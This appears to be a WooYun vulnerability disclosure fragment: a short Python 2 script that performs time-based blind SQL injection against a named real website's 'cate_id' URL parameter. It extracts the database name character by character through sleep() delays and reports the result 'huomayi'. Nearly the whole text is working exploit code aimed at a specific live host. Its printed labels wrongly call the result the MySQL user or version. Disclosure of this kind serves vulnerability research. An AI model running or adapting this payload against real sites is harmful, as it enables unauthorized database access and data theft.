WooYun.org

current-db: huomayi
import httplib
import time
import urllib
import urllib2
payloads = list('abefghiwujklmnoy')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,8):
    for payload in payloads:
        try:
            s = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(database()),%d,1))-%d)),0)" % (i,ord(payload))
            start_time = time.time()
            var1="http://www.daimayi.com/index.php/About/index/cate_id/"+s
            content = urllib2.urlopen(var1,timeout=5)
            data1 = content.read()
            content.close()
            print (time.time() - start_time)
            print "current payload:",payload
            if time.time() - start_time < 1:
                user += payload
                print '\n[in progress]', user
                break
            else:
                print '.'
        except:
            #print '.'
            continue  
print '\nMySQL version is', user